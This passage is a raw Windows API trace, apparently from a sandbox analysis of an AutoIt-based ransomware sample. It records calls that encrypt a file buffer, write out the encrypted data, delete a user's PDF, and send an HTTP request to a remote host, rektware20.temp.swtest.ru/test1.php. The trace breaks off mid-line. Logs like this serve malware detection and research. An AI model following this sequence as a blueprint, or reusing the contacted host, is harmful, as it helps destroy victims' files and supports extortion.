PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.150] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.150] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.150] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.150] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.150] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.150] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.150] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.150] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.150] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.150] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.151] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.151] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.151] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10a9c, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10aa0) returned 1 [0069.152] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.152] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.152] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.152] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.152] CharLowerBuffW (in: lpsz="byte[68257]", cchLength=0xb | out: lpsz="byte[68257]") returned 0xb [0069.152] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.154] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.154] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.154] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.154] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.155] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.155] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e15c0*, pdwDataLen=0x130e618*=0x10a9c, dwBufLen=0x10aa0 | out: pbData=0x17e15c0*, pdwDataLen=0x130e618*=0x10aa0) returned 1 [0069.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.155] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.155] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.156] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.156] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.156] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.156] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.161] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.161] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.161] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.161] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.166] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.167] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.167] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.168] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x10aa0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x10aa0, lpOverlapped=0x0) returned 1 [0069.169] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.169] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.169] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0069.170] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.170] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.170] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0069.170] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0069.170] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0069.170] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0069.170] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.170] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.170] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.170] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.170] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.170] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.171] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.171] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.171] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.171] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.171] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.171] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.171] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.171] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.171] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.171] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.171] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.171] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.172] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.172] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0069.172] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0069.172] CryptReleaseContext (hProv=0x17aa5e8, dwFlags=0x0) returned 1 [0069.172] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.172] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.172] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.172] FreeLibrary (hLibModule=0x74c60000) returned 1 [0069.172] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.172] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.172] CloseHandle (hObject=0x3bc) returned 1 [0069.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.173] CloseHandle (hObject=0x2ac) returned 1 [0069.176] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.177] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.177] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", lpFilePart=0x0) returned 0x2b [0069.178] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\7bcw-l_.pdf")) returned 0x20 [0069.178] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0069.178] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\7bcw-l_.pdf")) returned 1 [0069.181] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0069.181] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0069.181] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.181] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.182] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.182] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.182] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0069.182] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0069.182] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.182] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0069.182] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.182] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0069.182] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0069.182] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0069.182] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.182] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.183] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.183] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0069.183] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0069.183] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0069.183] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0069.183] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0069.184] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.184] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.184] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.184] CloseHandle (hObject=0x0) returned 0 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 